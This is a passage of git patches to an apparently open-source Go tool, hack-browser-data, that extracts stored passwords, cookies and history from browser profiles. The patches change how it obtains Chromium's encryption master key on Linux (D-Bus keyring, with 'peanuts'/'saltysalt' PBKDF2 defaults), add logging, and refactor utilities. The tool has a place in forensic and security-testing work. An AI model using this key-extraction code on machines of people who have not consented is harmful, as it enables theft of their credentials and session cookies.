- if err := zw.Close(); err != nil {
- return err
- }
- zipName := exportDir + `/archive.zip`
- outFile, _ := os.Create(zipName)
- _, err = b.WriteTo(outFile)
- if err != nil {
- return err
- }
- fmt.Printf("%s Compress success, zip filename is %s \n", Prefix, zipName)
- return nil
-}
From 47921a9eecea0feda06c40903f2dc5a411329737 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Fri, 15 Apr 2022 00:46:14 +0800
Subject: [PATCH 31/33] fix: find chromium master key from linux dbus failed
---
internal/browser/chromium/chromium_linux.go | 23 ++++++++++++---------
1 file changed, 13 insertions(+), 10 deletions(-)
diff --git a/internal/browser/chromium/chromium_linux.go b/internal/browser/chromium/chromium_linux.go
index a36c175..f345b4e 100644
--- a/internal/browser/chromium/chromium_linux.go
+++ b/internal/browser/chromium/chromium_linux.go
@@ -2,21 +2,24 @@ package chromium
import (
"crypto/sha1"
+ "os"
"github.com/godbus/dbus/v5"
keyring "github.com/ppacher/go-dbus-keyring"
"golang.org/x/crypto/pbkdf2"
+ "hack-browser-data/internal/item"
"hack-browser-data/internal/log"
)
func (c *chromium) GetMasterKey() ([]byte, error) {
// what is d-bus @https://dbus.freedesktop.org/
- var chromeSecret []byte
+ var chromiumSecret []byte
conn, err := dbus.SessionBus()
if err != nil {
return nil, err
}
+ defer os.Remove(item.TempChromiumKey)
svc, err := keyring.GetSecretService(conn)
if err != nil {
return nil, err
@@ -37,29 +40,29 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
if err != nil {
return nil, err
}
- for _, item := range items {
- label, err := item.GetLabel()
+ for _, i := range items {
+ label, err := i.GetLabel()
if err != nil {
log.Error(err)
continue
}
if label == c.storage {
- se, err := item.GetSecret(session.Path())
+ se, err := i.GetSecret(session.Path())
if err != nil {
log.Error(err)
return nil, err
}
- chromeSecret = se.Value
+ chromiumSecret = se.Value
}
}
}
- // TODO: handle error if no secret found
- if chromeSecret == nil {
- return nil, err
+ if chromiumSecret == nil {
+ // @https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100
+ chromiumSecret = []byte("peanuts")
}
- var chromeSalt = []byte("saltysalt")
+ var chromiumSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
- key := pbkdf2.Key(chromeSecret, chromeSalt, 1, 16, sha1.New)
+ key := pbkdf2.Key(chromiumSecret, chromiumSalt, 1, 16, sha1.New)
c.masterKey = key
return key, nil
}
From c9feef66ab4aaa40e65bbd09a0cd81987704665f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Sat, 16 Apr 2022 03:57:19 +0800
Subject: [PATCH 32/33] feat: replace log with stdout color
---
cmd/hack-browser-data/main.go | 10 +-
go.mod | 7 +-
go.sum | 29 ++-
internal/browser/browser.go | 51 ++----
internal/browser/chromium/chromium_darwin.go | 2 +
internal/browser/chromium/chromium_linux.go | 1 +
internal/browser/chromium/chromium_windows.go | 2 +
internal/log/log.go | 166 ++++++++++--------
8 files changed, 150 insertions(+), 118 deletions(-)
diff --git a/cmd/hack-browser-data/main.go b/cmd/hack-browser-data/main.go
index 1e44a41..b480958 100644
--- a/cmd/hack-browser-data/main.go
+++ b/cmd/hack-browser-data/main.go
@@ -38,22 +38,20 @@ func Execute() {
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(browser.ListBrowser(), "|")},
&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &outputDir, Value: "results", Usage: "export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
- &cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &profilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
+ &cli.StringFlag{Name: "profile-path", Aliases: []string{"p"}, Destination: &profilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
},
HideHelpCommand: true,
Action: func(c *cli.Context) error {
if verbose {
- log.InitLog("debug")
+ log.Init("debug")
} else {
- log.InitLog("error")
+ log.Init("error")
}
var (
browsers []browser.Browser
err error
)
- // if profilePath != "" {
- // browsers, err = browser.PickBrowserByProfilePath(browserName, profilePath)
- // }
+ log.Debugf("browser: %s", browserName)
browsers, err = browser.PickBrowser(browserName, profilePath)
if err != nil {
log.Error(err)
diff --git a/go.mod b/go.mod
index d8c084f..8107b91 100644
--- a/go.mod
+++ b/go.mod
@@ -5,6 +5,8 @@ go 1.18
require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
github.com/godbus/dbus/v5 v5.1.0
+ github.com/gookit/color v1.5.0
+ github.com/gookit/slog v0.2.2-0.20220415153407-dd89ed7b0448
github.com/json-iterator/go v1.1.12
github.com/mattn/go-sqlite3 v1.14.9
github.com/ppacher/go-dbus-keyring v1.0.1
@@ -15,11 +17,14 @@ require (
require (
github.com/cpuguy83/go-md2man/v2 v2.0.1 // indirect
+ github.com/gookit/goutil v0.5.0 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/russross/blackfriday/v2 v2.1.0 // indirect
- github.com/stretchr/testify v1.7.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.0 // indirect
+ github.com/valyala/bytebufferpool v1.0.0 // indirect
+ github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 // indirect
+ golang.org/x/sys v0.0.0-20220412211240-33da011f77ad // indirect
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect
)
diff --git a/go.sum b/go.sum
index 4572f41..de3aec9 100644
--- a/go.sum
+++ b/go.sum
@@ -10,10 +10,21 @@ github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5x
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
+github.com/gookit/color v1.5.0 h1:1Opow3+BWDwqor78DcJkJCIwnkviFi+rrOANki9BUFw=
+github.com/gookit/color v1.5.0/go.mod h1:43aQb+Zerm/BWh2GnrgOQm7ffz7tvQXEKV6BFMl7wAo=
+github.com/gookit/goutil v0.4.4/go.mod h1:qlGVh0PI+WnWSjYnIocfz/7tkeogxL6+EDNP1mRe+7o=
+github.com/gookit/goutil v0.5.0 h1:SrbfjqZ8iprxJOfKZVT0yGJ4/82afr4Qa0RQwON19I4=
+github.com/gookit/goutil v0.5.0/go.mod h1:pq1eTibwb2wN96jrci0xy7xogWzzo9CihOQJEAvz4yQ=
+github.com/gookit/slog v0.2.1 h1:EI47PlvpoPwxwkNTYaevN6iBNjo9nBxo0aQLiq+MTdk=
+github.com/gookit/slog v0.2.1/go.mod h1:CsbWzAaZA2FjLuGzvfTAR/QvFisZG31deOcZ05H++NI=
+github.com/gookit/slog v0.2.2-0.20220415153407-dd89ed7b0448 h1:7kNDAgYDAu/5X+PbFfzGToaKJiDcghKv7B4XOGosrPM=
+github.com/gookit/slog v0.2.2-0.20220415153407-dd89ed7b0448/go.mod h1:9Sh1Utw3LVG0kqN++ankdfrCVQ7yixKDL1+YrYvIulU=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
+github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
+github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
@@ -27,8 +38,9 @@ github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
-github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY=
+github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/tidwall/gjson v1.9.3 h1:hqzS9wAHMO+KVBBkLxYdkEeeFHuqr95GfClRLKlgK0E=
github.com/tidwall/gjson v1.9.3/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
@@ -37,8 +49,23 @@ github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/urfave/cli/v2 v2.4.0 h1:m2pxjjDFgDxSPtO8WSdbndj17Wu2y8vOT86wE/tjr+I=
github.com/urfave/cli/v2 v2.4.0/go.mod h1:NX9W0zmTvedE5oDoOMs2RTC8RvdK98NTYZE5LbaEYPg=
+github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
+github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
+github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 h1:QldyIu/L63oPpyvQmHgvgickp1Yw510KJOqX7H24mg8=
+github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778/go.mod h1:2MuV+tbUrU1zIOPMxZ5EncGwgmMJsa+9ucAQZXxsObs=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 h1:0es+/5331RGQPcXlMfP+WrnIIS6dNnNRe0WB02W0F4M=
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220412211240-33da011f77ad h1:ntjMns5wyP/fN65tdBD4g8J5w8n015+iIIs9rtjXkY0=
+golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index 3104323..08c203b 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -36,40 +36,25 @@ func PickBrowser(name, profile string) ([]Browser, error) {
return browsers, nil
}
-func PickBrowserByProfilePath(name, profile string) ([]Browser, error) {
- var browsers []Browser
- clist := pickChromium(name, profile)
- for _, b := range clist {
- if b != nil {
- browsers = append(browsers, b)
- }
- }
- flist := pickFirefox(name, profile)
- for _, b := range flist {
- if b != nil {
- browsers = append(browsers, b)
- }
- }
- return browsers, nil
-}
-
func pickChromium(name, profile string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
// TODO: add support for 「all」 flag and set profilePath
if name == "all" {
- for _, c := range chromiumList {
- if b, err := chromium.New(c.name, c.storage, c.profilePath, c.items); err == nil {
+ for _, v := range chromiumList {
+ if b, err := chromium.New(v.name, v.storage, v.profilePath, v.items); err == nil {
+ log.Infof("find browser %s success", b.Name())
browsers = append(browsers, b)
} else {
// TODO: show which browser find failed
if strings.Contains(err.Error(), "profile path is not exist") {
+ log.Infof("find browser %s failed, profile path is not exist", v.name)
continue
+ } else {
+ log.Error("new chromium error:", err)
}
- panic(err)
}
}
- return browsers
}
if c, ok := chromiumList[name]; ok {
if profile == "" {
@@ -78,15 +63,14 @@ func pickChromium(name, profile string) []Browser {
b, err := chromium.New(c.name, c.storage, profile, c.items)
if err != nil {
if strings.Contains(err.Error(), "profile path is not exist") {
- log.Error(err.Error())
+ log.Infof("find browser %s failed, profile path is not exist", c.name)
} else {
- panic(err)
+ log.Error("new chromium error:", err)
}
}
browsers = append(browsers, b)
- return browsers
}
- return nil
+ return browsers
}
func pickFirefox(name, profile string) []Browser {
@@ -99,18 +83,19 @@ func pickFirefox(name, profile string) []Browser {
} else {
profile = fileutil.ParentDir(profile)
}
- multiFirefox, err := firefox.New(v.name, v.storage, profile, v.items)
- // TODO: Handle error
- if err != nil {
+ if multiFirefox, err := firefox.New(v.name, v.storage, profile, v.items); err == nil {
+ for _, b := range multiFirefox {
+ log.Infof("find browser: %s success", b.Name())
+ browsers = append(browsers, b)
+ }
+ } else {
if strings.Contains(err.Error(), "profile path is not exist") {
- log.Error(err.Error())
+ log.Infof("find browser: %s failed, profile path is not exist", v.name)
} else {
- panic(err)
+ log.Error(err)
}
}
- for _, browser := range multiFirefox {
- browsers = append(browsers, browser)
- }
+
}
return browsers
}
diff --git a/internal/browser/chromium/chromium_darwin.go b/internal/browser/chromium/chromium_darwin.go
index 3fc247f..30f7772 100644
--- a/internal/browser/chromium/chromium_darwin.go
+++ b/internal/browser/chromium/chromium_darwin.go
@@ -11,6 +11,7 @@ import (
"golang.org/x/crypto/pbkdf2"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
)
var (
@@ -52,5 +53,6 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
return nil, ErrWrongSecurityCommand
}
c.masterKey = key
+ log.Infof("%s initialized master key success", c.name)
return key, nil
}
diff --git a/internal/browser/chromium/chromium_linux.go b/internal/browser/chromium/chromium_linux.go
index f345b4e..6af3a81 100644
--- a/internal/browser/chromium/chromium_linux.go
+++ b/internal/browser/chromium/chromium_linux.go
@@ -64,5 +64,6 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
key := pbkdf2.Key(chromiumSecret, chromiumSalt, 1, 16, sha1.New)
c.masterKey = key
+ log.Infof("%s initialized master key success", c.name)
return key, nil
}
diff --git a/internal/browser/chromium/chromium_windows.go b/internal/browser/chromium/chromium_windows.go
index dfd00fe..44b0963 100644
--- a/internal/browser/chromium/chromium_windows.go
+++ b/internal/browser/chromium/chromium_windows.go
@@ -9,6 +9,7 @@ import (
"hack-browser-data/internal/decrypter"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
"hack-browser-data/internal/utils/fileutil"
)
@@ -29,6 +30,7 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
return nil, errDecodeMasterKeyFailed
}
c.masterKey, err = decrypter.DPApi(pureKey[5:])
+ log.Infof("%s initialized master key success", c.name)
return c.masterKey, err
}
return nil, nil
diff --git a/internal/log/log.go b/internal/log/log.go
index c03e23a..d6a8688 100644
--- a/internal/log/log.go
+++ b/internal/log/log.go
@@ -1,107 +1,119 @@
package log
import (
- "fmt"
- "io"
- "log"
"os"
+
+ "github.com/gookit/color"
+ "github.com/gookit/slog"
)
-type Level int
+var std = &slog.SugaredLogger{}
-const (
- LevelDebug Level = iota
- LevelWarn
- LevelError
-)
-
-func (l Level) String() string {
- switch l {
- case LevelDebug:
- return "debug"
- case LevelError:
- return "error"
- }
- return ""
-}
-
-var (
- formatLogger *Logger
- levelMap = map[string]Level{
- "debug": LevelDebug,
- "error": LevelError,
- }
-)
-
-func InitLog(l string) {
- formatLogger = newLog(os.Stdout).setLevel(levelMap[l]).setFlags(log.Lshortfile)
-}
-
-type Logger struct {
- level Level
- l *log.Logger
-}
-
-func newLog(w io.Writer) *Logger {
- return &Logger{
- l: log.New(w, "", 0),
+func Init(l string) {
+ if l == "debug" {
+ std = newStdLogger(slog.DebugLevel)
+ } else {
+ std = newStdLogger(slog.ErrorLevel)
}
}
-func (l *Logger) setFlags(flag int) *Logger {
- l.l.SetFlags(flag)
- return l
+const template = "[{{datetime}}] [{{level}}] [{{caller}}] {{message}} {{data}} {{extra}}\n"
+
+// NewStdLogger instance
+func newStdLogger(level slog.Level) *slog.SugaredLogger {
+ return slog.NewSugaredLogger(os.Stdout, level).Configure(func(sl *slog.SugaredLogger) {
+ sl.SetName("stdLogger")
+ sl.ReportCaller = true
+ sl.CallerSkip = 3
+ // auto enable console color
+ sl.Formatter.(*slog.TextFormatter).EnableColor = color.SupportColor()
+ sl.Formatter.(*slog.TextFormatter).SetTemplate(template)
+ })
}
-func (l *Logger) setLevel(level Level) *Logger {
- l.level = level
- return l
+// Trace logs a message at level Trace
+func Trace(args ...interface{}) {
+ std.Log(slog.TraceLevel, args...)
}
-func (l *Logger) doLog(level Level, v ...interface{}) bool {
- if level < l.level {
- return false
+// Tracef logs a message at level Trace
+func Tracef(format string, args ...interface{}) {
+ std.Logf(slog.TraceLevel, format, args...)
+}
+
+// Info logs a message at level Info
+func Info(args ...interface{}) {
+ std.Log(slog.InfoLevel, args...)
+}
+
+// Infof logs a message at level Info
+func Infof(format string, args ...interface{}) {
+ std.Logf(slog.InfoLevel, format, args...)
+}
+
+// Notice logs a message at level Notice
+func Notice(args ...interface{}) {
+ std.Log(slog.NoticeLevel, args...)
+}
+
+// Noticef logs a message at level Notice
+func Noticef(format string, args ...interface{}) {
+ std.Logf(slog.NoticeLevel, format, args...)
+}
+
+// Warn logs a message at level Warn
+func Warn(args ...interface{}) {
+ std.Log(slog.WarnLevel, args...)
+}
+
+// Warnf logs a message at level Warn
+func Warnf(format string, args ...interface{}) {
+ std.Logf(slog.WarnLevel, format, args...)
+}
+
+// Error logs a message at level Error
+func Error(args ...interface{}) {
+ std.Log(slog.ErrorLevel, args...)
+}
+
+// ErrorT logs a error type at level Error
+func ErrorT(err error) {
+ if err != nil {
+ std.Log(slog.ErrorLevel, err)
}
- l.l.Output(3, level.String()+" "+fmt.Sprintln(v...))
- return true
}
-func (l *Logger) doLogf(level Level, format string, v ...interface{}) bool {
- if level < l.level {
- return false
- }
- l.l.Output(3, level.String()+" "+fmt.Sprintln(fmt.Sprintf(format, v...)))
- return true
+// Errorf logs a message at level Error
+func Errorf(format string, args ...interface{}) {
+ std.Logf(slog.ErrorLevel, format, args...)
}
-func Debug(v ...interface{}) {
- formatLogger.doLog(LevelDebug, v...)
+// Debug logs a message at level Debug
+func Debug(args ...interface{}) {
+ std.Log(slog.DebugLevel, args...)
}
-func Warn(v ...interface{}) {
- formatLogger.doLog(LevelWarn, v...)
+// Debugf logs a message at level Debug
+func Debugf(format string, args ...interface{}) {
+ std.Logf(slog.DebugLevel, format, args...)
}
-func Error(v ...interface{}) {
- formatLogger.doLog(LevelError, v...)
+// Fatal logs a message at level Fatal
+func Fatal(args ...interface{}) {
+ std.Log(slog.FatalLevel, args...)
}
-func Errorf(format string, v ...interface{}) {
- formatLogger.doLogf(LevelError, format, v...)
+// Fatalf logs a message at level Fatal
+func Fatalf(format string, args ...interface{}) {
+ std.Logf(slog.FatalLevel, format, args...)
}
-func Warnf(format string, v ...interface{}) {
- formatLogger.doLogf(LevelWarn, format, v...)
+// Panic logs a message at level Panic
+func Panic(args ...interface{}) {
+ std.Log(slog.PanicLevel, args...)
}
-func Debugf(format string, v ...interface{}) {
- formatLogger.doLogf(LevelDebug, format, v...)
+// Panicf logs a message at level Panic
+func Panicf(format string, args ...interface{}) {
+ std.Logf(slog.PanicLevel, format, args...)
}
-
-// NewSugaredLogger(os.Stdout, DebugLevel).Configure(func(sl *SugaredLogger) {
-// sl.SetName("stdLogger")
-// sl.ReportCaller = true
-// // auto enable console color
-// sl.Formatter.(*TextFormatter).EnableColor = color.SupportColor()
-// sl.Formatter.SetCallerSkip(1)
-// })
From 0dc28a077fa6f471c05856ddaf484c2242fa9f47 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Sun, 17 Apr 2022 16:35:40 +0800
Subject: [PATCH 33/33] refactor: replace util with go generics
---
go.mod | 1 +
go.sum | 5 +-
internal/browingdata/bookmark.go | 17 +++++--
internal/browingdata/cookie.go | 22 ++++-----
internal/browingdata/download.go | 10 ++--
internal/browingdata/history.go | 6 +--
internal/browingdata/password.go | 12 ++---
internal/browser/browser.go | 6 +--
internal/browser/browser_linux.go | 2 +-
internal/item/sql.go | 1 -
internal/log/log.go | 2 +-
internal/utils/fileutil/filetutil.go | 8 +---
internal/utils/typeutil/typeutil.go | 35 ++++++++++++++
internal/utils/utils.go | 69 ----------------------------
14 files changed, 83 insertions(+), 113 deletions(-)
delete mode 100644 internal/item/sql.go
delete mode 100644 internal/utils/utils.go
diff --git a/go.mod b/go.mod
index 8107b91..5055c2a 100644
--- a/go.mod
+++ b/go.mod
@@ -13,6 +13,7 @@ require (
github.com/tidwall/gjson v1.9.3
github.com/urfave/cli/v2 v2.4.0
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
+ golang.org/x/exp v0.0.0-20220414153411-bcd21879b8fd
)
require (
diff --git a/go.sum b/go.sum
index de3aec9..51292df 100644
--- a/go.sum
+++ b/go.sum
@@ -12,11 +12,8 @@ github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5x
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/gookit/color v1.5.0 h1:1Opow3+BWDwqor78DcJkJCIwnkviFi+rrOANki9BUFw=
github.com/gookit/color v1.5.0/go.mod h1:43aQb+Zerm/BWh2GnrgOQm7ffz7tvQXEKV6BFMl7wAo=
-github.com/gookit/goutil v0.4.4/go.mod h1:qlGVh0PI+WnWSjYnIocfz/7tkeogxL6+EDNP1mRe+7o=
github.com/gookit/goutil v0.5.0 h1:SrbfjqZ8iprxJOfKZVT0yGJ4/82afr4Qa0RQwON19I4=
github.com/gookit/goutil v0.5.0/go.mod h1:pq1eTibwb2wN96jrci0xy7xogWzzo9CihOQJEAvz4yQ=
-github.com/gookit/slog v0.2.1 h1:EI47PlvpoPwxwkNTYaevN6iBNjo9nBxo0aQLiq+MTdk=
-github.com/gookit/slog v0.2.1/go.mod h1:CsbWzAaZA2FjLuGzvfTAR/QvFisZG31deOcZ05H++NI=
github.com/gookit/slog v0.2.2-0.20220415153407-dd89ed7b0448 h1:7kNDAgYDAu/5X+PbFfzGToaKJiDcghKv7B4XOGosrPM=
github.com/gookit/slog v0.2.2-0.20220415153407-dd89ed7b0448/go.mod h1:9Sh1Utw3LVG0kqN++ankdfrCVQ7yixKDL1+YrYvIulU=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
@@ -57,6 +54,8 @@ golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACk
golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 h1:0es+/5331RGQPcXlMfP+WrnIIS6dNnNRe0WB02W0F4M=
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
+golang.org/x/exp v0.0.0-20220414153411-bcd21879b8fd h1:zVFyTKZN/Q7mNRWSs1GOYnHM9NiFSJ54YVRsD0rNWT4=
+golang.org/x/exp v0.0.0-20220414153411-bcd21879b8fd/go.mod h1:lgLbSvA5ygNOMpwM/9anMpWVlVJ7Z+cHWq/eFuinpGE=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
diff --git a/internal/browingdata/bookmark.go b/internal/browingdata/bookmark.go
index 35f7925..ec2a17c 100644
--- a/internal/browingdata/bookmark.go
+++ b/internal/browingdata/bookmark.go
@@ -10,8 +10,8 @@ import (
"hack-browser-data/internal/item"
"hack-browser-data/internal/log"
- "hack-browser-data/internal/utils"
"hack-browser-data/internal/utils/fileutil"
+ "hack-browser-data/internal/utils/typeutil"
_ "github.com/mattn/go-sqlite3"
)
@@ -61,7 +61,7 @@ func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjso
ID: value.Get(bookmarkID).Int(),
Name: value.Get(bookmarkName).String(),
URL: value.Get(bookmarkUrl).String(),
- DateAdded: utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()),
+ DateAdded: typeutil.TimeEpoch(value.Get(bookmarkAdded).Int()),
}
children = value.Get(bookmarkChildren)
if nodeType.Exists() {
@@ -114,9 +114,9 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error {
*f = append(*f, bookmark{
ID: id,
Name: title,
- Type: utils.BookmarkType(bType),
+ Type: bookmarkType(bType),
URL: url,
- DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
+ DateAdded: typeutil.TimeStamp(dateAdded / 1000000),
})
}
sort.Slice(*f, func(i, j int) bool {
@@ -128,3 +128,12 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error {
func (f *FirefoxBookmark) Name() string {
return "bookmark"
}
+
+func bookmarkType(a int64) string {
+ switch a {
+ case 1:
+ return "url"
+ default:
+ return "folder"
+ }
+}
diff --git a/internal/browingdata/cookie.go b/internal/browingdata/cookie.go
index 515b564..8ea4252 100644
--- a/internal/browingdata/cookie.go
+++ b/internal/browingdata/cookie.go
